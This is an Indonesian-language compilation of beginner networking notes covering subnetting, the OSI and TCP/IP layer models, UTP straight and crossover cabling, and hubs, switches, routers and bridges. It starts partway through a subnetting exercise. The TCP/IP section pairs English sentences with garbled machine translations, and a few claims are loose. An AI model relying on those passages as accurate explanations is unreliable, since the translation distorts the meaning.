192.168.0.0 – 192.168.0.127 -> sesuai dgn point 1. IP yang tersedia sebanyak 128 buah tiap segmen 192.168.0.128 – 192.168.0.255
Jumlah IP yang dapat dipakai untuk host sebanyak 126 setelah dikurangi dengan Net-ID dan Broadcast .Sekarang dapatkah Anda mencari seperti 5 point sebelumnya apabila 3 bit pertama di beri nilai ‘1′ ?
*7 LAYER OSI*
Model Open Systems Interconnection (OSI) diciptakan oleh International Organization for Standardization (ISO) yang menyediakan kerangka logika terstruktur bagaimana proses komunikasi data berinteraksi melalui jaringan. Standard ini dikembangkan untuk industri komputer agar komputer dapat berkomunikasi pada jaringan yang berbeda secara efisien.
Model Layer OSI
Terdapat 7 layer pada model OSI. Setiap layer bertanggungjawwab secara khusus pada proses komunikasi data. Misal, satu layer bertanggungjawab untuk membentuk koneksi antar perangkat, sementara layer lainnya bertanggungjawab untuk mengoreksi terjadinya “error” selama proses transfer data berlangsung.
Model Layer OSI dibagi dalam dua group: “upper layer” dan “lower layer”. “Upper layer” fokus pada applikasi pengguna dan bagaimana file direpresentasikan di komputer. Untuk Network Engineer, bagian utama yang menjadi perhatiannya adalah pada “lower layer”. Lower layer adalah intisari komunikasi data melalui jaringan aktual.
“Open” dalam OSI
“Open” dalam OSI adalah untuk menyatakan model jaringan yang melakukan interkoneksi tanpa memandang perangkat keras/ “hardware” yang digunakan, sepanjang software komunikasi sesuai dengan standard. Hal ini secara tidak langsung menimbulkan “modularity” (dapat dibongkar pasang).
Modularity
“Modularity” mengacu pada pertukaran protokol di level tertentu tanpa mempengaruhi atau merusak hubungan atau fungsi dari level lainnya.
Dalam sebuah layer, protokol saling dipertukarkan, dan memungkinkan komunikasi terus berlangsung. Pertukaran ini berlangsung didasarkan pada perangkat keras “hardware” dari vendor yang berbeda dan bermacam-macam alasan atau keinginan yang berbeda.
Modularity |
Seperti contoh Jasa Antar/Kurir. “Modularity” pada level transportasi menyatakan bahwa tidak penting, bagaimana cara paket sampai ke pesawat. |
Paket untuk sampai di pesawat, dapat dikirim melalui truk atau kapal. Masing-masing cara tersebut, pengirim tetap mengirimkan dan berharap paket tersebut sampai di Toronto. Pesawat terbang membawa paket ke Toronto tanpa memperhatikan bagaimana paket tersebut sampai di pesawat itu. |
7 Layer OSI
Model OSI terdiri dari 7 layer :
- Application
- Presentation
- Session
- Transport
- Network
- Data Link
- Physical
Apa yang dilakukan oleh 7 layer OSI ?
Ketika data ditransfer melalui jaringan, sebelumnya data tersebut harus melewati ke-tujuh layer dari satu terminal, mulai dari layer aplikasi sampai physical layer, kemudian di sisi penerima, data tersebut melewati layer physical sampai aplikasi. Pada saat data melewati satu layer dari sisi pengirim, maka akan ditambahkan satu “header” sedangkan pada sisi penerima “header” dicopot sesuai dengan layernya.
Model OSI
Tujuan utama penggunaan model OSI adalah untuk membantu desainer jaringan memahami fungsi dari tiap-tiap layer yang berhubungan dengan aliran komunikasi data. Termasuk jenis-jenis protoklol jaringan dan metode transmisi.
Model dibagi menjadi 7 layer, dengan karakteristik dan fungsinya masing-masing. Tiap layer harus dapat berkomunikasi dengan layer di atasnya maupun dibawahnya secara langsung melalui serentetan protokol dan standard.
Model OSI | Keterangan |
Application Layer: Menyediakan jasa untuk aplikasi pengguna. Layer ini bertanggungjawab atas pertukaran informasi antara program komputer, seperti program e-mail, dan service lain yang jalan di jaringan, seperti server printer atau aplikasi komputer lainnya. | |
Presentation Layer: Bertanggung jawab bagaimana data dikonversi dan diformat untuk transfer data. Contoh konversi format text ASCII untuk dokumen, .gif dan JPG untuk gambar. Layer ini membentuk kode konversi, translasi data, enkripsi dan konversi. | |
Session Layer: Menentukan bagaimana dua terminal menjaga, memelihara dan mengatur koneksi,- bagaimana mereka saling berhubungan satu sama lain. Koneksi di layer ini disebut “session”. | |
Transport Layer: Bertanggung jawab membagi data menjadi segmen, menjaga koneksi logika “end-to-end” antar terminal, dan menyediakan penanganan error (error handling). | |
Network Layer: Bertanggung jawab menentukan alamat jaringan, menentukan rute yang harus diambil selama perjalanan, dan menjaga antrian trafik di jaringan. Data pada layer ini berbentuk paket. | |
Data Link Layer: Menyediakan link untuk data, memaketkannya menjadi frame yang berhubungan dengan “hardware” kemudian diangkut melalui media. komunikasinya dengan kartu jaringan, mengatur komunikasi layer physical antara sistem koneksi dan penanganan error. | |
Physical Layer: Bertanggung jawab atas proses data menjadi bit dan mentransfernya melalui media, seperti kabel, dan menjaga koneksi fisik antar sistem. |
TCP / IP arsitektur tidak tepat mengikuti model OSI. Unfortunately, there is no universal agreement regarding how to describe TCP/IP with a layered model. Sayangnya, tidak ada kesepakatan universal untuk menjelaskan tentang bagaimana TCP / IP dengan model layered. It is generally agreed that TCP/IP has fewer levels (from three to five layers) than the seven layers of the OSI model. Hal ini umumnya sepakat bahwa TCP / IP memiliki tingkat yang lebih sedikit (dari tiga sampai lima lapisan) dari tujuh lapisan dari model OSI. We adopt a four layers model for the TCP/IP architecture. Kami mengadopsi empat lapisan model untuk TCP / IP arsitektur.
TCP/IP architecture omits some features found under the OSI model, combines the features of some adjacent OSI layers and splits other layers apart. TCP / IP omits arsitektur beberapa fitur yang ditemukan di bawah OSI model, yang menggabungkan beberapa fitur berdekatan OSI lapisan dan lapisan lainnya Splits berbeda. The 4-layer structure of TCP/IP is built as information is passed down from applications to the physical network layer. 4-lapisan struktur TCP / IP dibangun sebagai informasi lulus dari aplikasi ke jaringan lapisan fisik. When data is sent, each layer treats all of the information it receives from the upper layer as data, adds control information (header) to the front of that data and then pass it to the lower layer. Bila data yang dikirim, setiap lapisan memperlakukan semua informasi yang diterimanya dari lapisan atas sebagai data, kontrol menambahkan informasi (header) ke depan bahwa data dan kemudian lulus ke lapisan bawah. When data is received, the opposite procedure takes place as each layer processes and removes its header before passing the data to the upper layer. Bila data yang diterima, sebaliknya sebagai prosedur berlangsung setiap lapisan proses dan menghapus header dan sebelum lewat data ke lapisan atas.
The TCP/IP 4-layer model and the key functions of each layer is described below: The TCP / IP 4-lapisan model dan tombol fungsi setiap lapisan dijelaskan di bawah ini:
Application Layer Layer aplikasi
The Application Layer in TCP/IP groups the functions of OSI Application, Presentation Layer and Session Layer. Application Layer dalam TCP / IP kelompok fungsi dari OSI Application, Presentation Layer dan Session Layer. Therefore any process above the transport layer is called an Application in the TCP/IP architecture. Karena itu semua proses di atas disebut lapisan transportasi Permohonan di TCP / IP arsitektur. In TCP/IP socket and port are used to describe the path over which applications communicate. Dalam TCP / IP socket dan port yang digunakan untuk menjelaskan jalan melalui aplikasi yang berkomunikasi. Most application level protocols are associated with one or more port number. Kebanyakan protokol tingkat aplikasi yang diasosiasikan dengan satu atau lebih nomor port.
Transport Layer Transport Layer
In TCP/IP architecture, there are two Transport Layer protocols. Dalam TCP / IP arsitektur, terdapat dua protokol Transport Layer. The Transmission Control Protocol (TCP) guarantees information transmission. The Transmission Control Protocol (TCP) menjamin informasi transmisi. The User Datagram Protocol (UDP) transports datagram swithout end-to-end reliability checking. User Datagram Protocol (UDP) Transports datagram swithout akhir-akhir keandalan untuk memeriksa. Both protocols are useful for different applications. Kedua protokol yang berguna untuk berbagai aplikasi.
Network Layer Layer jaringan
The Internet Protocol (IP) is the primary protocol in the TCP/IP Network Layer. Internet Protocol (IP) adalah protokol utama dalam TCP / IP Jaringan Layer. All upper and lower layer communications must travel through IP as they are passed through the TCP/IP protocol stack. Semua atas dan bawah lapisan komunikasi harus melalui perjalanan IP seperti yang disampaikan melalui TCP / IP protocol stack. In addition, there are many supporting protocols in the Network Layer, such as ICMP, to facilitate and manage the routing process. Selain itu, terdapat banyak mendukung protokol di Jaringan Layer, seperti ICMP, untuk memfasilitasi dan mengatur proses routing.
Network Access Layer Network Access Layer
In the TCP/IP architecture, the Data Link Layer and Physical Layer are normally grouped together to become the Network Access layer. Dalam TCP / IP arsitektur, Data Link Layer Physical Layer dan biasanya dikelompokkan bersama menjadi Jaringan Akses lapisan. TCP/IP makes use of existing Data Link and Physical Layer standards rather than defining its own. TCP / IP yang menggunakan data yang ada dan Link Layer Fisik standar daripada menentukan sendiri. Many RFCs describe how IP utilizes and interfaces with the existing data link protocols such as Ethernet, Token Ring, FDDI, HSSI, and ATM. Banyak RFCs menjelaskan bagaimana memanfaatkan IP dan antarmuka dengan data yang ada link protokol seperti Ethernet, Token Ring, FDDI, HSSI, dan ATM. The physical layer, which defines the hardware communication properties, is not often directly interfaced with the TCP/IP protocols in the network layer and above. Lapisan fisik, yang mendefinisikan komunikasi hardware properti, tidak sering interfaced langsung dengan TCP / IP protokol di jaringan lapisan atas.
TCP/IP Architecture Model: 4-Layers vs. OSI 7 Layers TCP / IP Arsitektur Model: 4-Layers vs 7 Layers OSI
Related Terms: OSI Model , IBM SNA Model , TCP/IP Protocols
1. RJ 45 Connector
RJ 45 Connector ini sebagai konektor yang akan di tancapkan pada LAN Card di CPU di ujung yang satu dan pada switch hub pada ujung tang lainnya.
2. Kabel UTP Cat 5
Kapbel yang di gunakan untuk menghubungkan komputer ke jaringan. Gunakan UTP Cat 5 untuk jaringan berkecepatan 100 Mbps.
3. Crimping Tool
Tang Crimping ini di gunakan untuk pemasangan konector RJ 45 dengan kabel UTP.
4. LAN tester
Digunakan untuk memeriksa hasil pemasangan konektor dengan kabel. Sehingga bisa mengetahui kabel yang sudah di pasang conector berfungsi atau tidak.
5. Switch Hub
Switch hub ini di gunakan untuk menghubungkan banyak komputer ke dalam suatu jaringan. Semakin banyak komputer yang akan di hubungkan jadi pilihlah switch hub yang banyak port nya juga. Ada beberapa type hub berdasarkan jumlah port nya. Yaitu hub dengan 5 Port, 8 Port, 16 Port, 24 Port, 48 Port.
6. Klem kabel
Ini di gunakan untuk merapikan kabel jika kabel akan di tempel di dinding.
7. Palu / Hammer
Kalo ini pasti udah tau lah fungsinya... hehe.
Ok jika udah siap semua (alat dan bahan), sekarang mulai teori pengkabelannya. :)
Ada dua macam type pengkabelan pada jaringan LAN. Yaitu Straight dan Cross.
Straight
Pengkabelan jenis ini digunakan untuk menghubungkan banyak (lebih dari 2) komputer, dan melewati Switch Hub untuk koneksi antar komputer. Jadi jika Anda mempunyai 3 komputer yang ingin di hubungkan satu sama lain, anda harus menggunakan pengkabelan jenis ini dan membutuhkan Switch hub sebagai terminal.
Pada type ini susunan kabel pada ujung satu dengan ujung lainnnya harus sama. Dengan standard peletakan warna kabel seperti yang di tunjukkan pada gambar disamping. Susunannya mulai dari kiri yaitu warna Putih Oranye (PO), Oranye (O), Putih Hijau (PH), Biru (B), Putih Biru (PB), Hijau (H), Putih Coklat (PC), Coklat (C). Dan pada ujung yang satunya susunan nya juga sama.
Cross
Untuk pengkabelan jenis ini, digunakan hanya untuk menghubungkan 2 komputer saja. Jadi untuk menghemat, kita tidah perlu membeli switch hub lagi untuk menghubungkan 2 komputer. Cukup menggunakan kabel jenis ini, 2 komputer kita sudah bisa terhubung.
Susunan pengkabelannya standard bisa di lihat seperti gambar di samping, yaitu pada ujung yang satu dimulai dari kiri dengan warna Putih Hijau (PH), Hijau (H), Putih Oranye (PO), Biru (B), Putih Biru (PB), Oranye (O), Putih Coklat (PC), Coklat (C). Dan pada ujung yang lainnya yaitu Putih Oranye (PO), Oranye (O), Putih Hijau (PH), Biru (B), Putih Biru (PB), Hijau (H), Putih Coklat (PC), Coklat (C). Untuk mengingatnya lebih mudah, bisa dengan nomor urutnya saja. yaitu penukaran posisi berikut
PO 1 ----- 3 PH
O 2 ----- 6 H
PH 3 ----- 1 PO
B 4 ----- 4 B
PB 5 ----- 5 PB
H 6 ----- 2 O
PC 7 ----- 7 PC
C 8 ----- 8 C
Teori pengkabelan sudah selesai, sekarang saatnya untuk memasukkan susunan kabel tersebut pada RJ 45 Connector. Lalu gunakan crimping tool (tang crimping) untuk menyatukan kabel dengan rj 45 connector tersebut. Jika sudah cobalah terlebih dahulu kabel tersebut sebelum di tancapkan pada CPU dan Switch HUB. Jika kabel sudah OK, saatnya anda untuk mengkonfigurasi komputer anda (IP Addressing) supaya komputer anda bisa benar benar terhubung. ^_^
Hub Alat penghubung atar komputer, semua jenis komunikasi hanya dilewatkan oleh hub. hub digunakan untuk sebuah bentuk jaringan yang sederhana (misal hanya untuk menyambungkan beberapa komputer di satu group IP lokal) ketika ada satu paket yang masuk ke satu port di hub, maka akan tersalin ke port lainnya di hub yg sama dan semua komputer yg tersambung di hub yang sama dapat membaca paket tersebut. Saat ini hub sudah banyak ditinggalkan dan diganti dengan switch. Alasan penggantian ini biasanya adalah karena hub mempunyai kecepatan transfer data yang lebih lambat daripada switch. Hub dan switch mempunyai kecepatan transfer data sampai dengan 100 Mbps bahkan switch sudah dikembangkan sampai kecepatan 1 Gbps.
SWITCH
Switch Sebuah alat yang menyaring/filter dan melewatkan(mengijinkan lewat) paket yang ada di sebuah LAN. switcher bekerja pada layer data link (layer 2) dan terkadang di Network Layer (layer 3) berdasarkan referensi OSI Layer Model. sehingga dapat bekerja untuk paket protokol apapun. LAN yang menggunakan Switch untuk berkomunikasi di jaringan maka disebut dengan Switched LAN atau dalam fisik ethernet jaringan disebut dengan Switched Ethernet LANs.
ROUTER
Router Alat yang bertugas untuk mengantarkan paket data dalam jaringan. router dapat digunakan jika tersambung paling tidak dengan dua jaringan yang berbeda sehingga pengaturan tersebut membutuhkan sebuah router.Router berada di sisi gateway sebuah tempat dimana dua jaringan LAN atau lebih untuk disambungkan. Router menggunakan HEADERS dan daftar tabel pengantar (Forwarding Table) untuk menentukan posisi yang terbaik untuk mengantarkan sebuah paket jaringan dan juga menggunakan protokol seperti ICMP,HTTP untuk berkomunikasi dengan LAN lainnya dengan konfigurasi terbaik untuk jalur antar dua host manapun.
BRIDGE
Bridge jaringan adalah sebuah komponen jaringan yang digunakan untuk memperluas jaringan atau membuat sebuah segmen jaringan. Bridge jaringan beroperasi di dalam lapisan data-link pada model OSI. Bridge juga dapat digunakan untuk menggabungkan dua buah media jaringan yang berbeda, seperti halnya antara media kabel Unshielded Twisted-Pair (UTP) dengan kabel serat optik atau dua buah arsitektur jaringan yang berbeda, seperti halnya antara Token Ring dan Ethernet. Bridge akan membuat sinyal yang ditransmisikan oleh pengirim tapi tidak melakukan konversi terhadap protokol, sehingga agar dua segmen jaringan yang dikoneksikan ke bridge tersebut harus terdapat protokol jaringan yang sama (seperti halnya TCP/IP). Bridge jaringan juga kadang-kadang mendukung protokol Simple Network Management Protocol (SNMP), dan beberapa di antaranya memiliki fitur diagnosis lainnya.
Terdapat tiga jenis bridge jaringan yang umum dijumpai:
- Bridge Lokal: sebuah bridge yang dapat menghubungkan segmen-segmen jaringan lokal.
- Bridge Remote: dapat digunakan untuk membuat sebuah sambungan (link) antara LAN untuk membuat sebuah Wide Area Network.
- Bridge Nirkabel: sebuah bridge yang dapat menggabungkan jaringan LAN berkabel dan jaringan LAN nirkabel.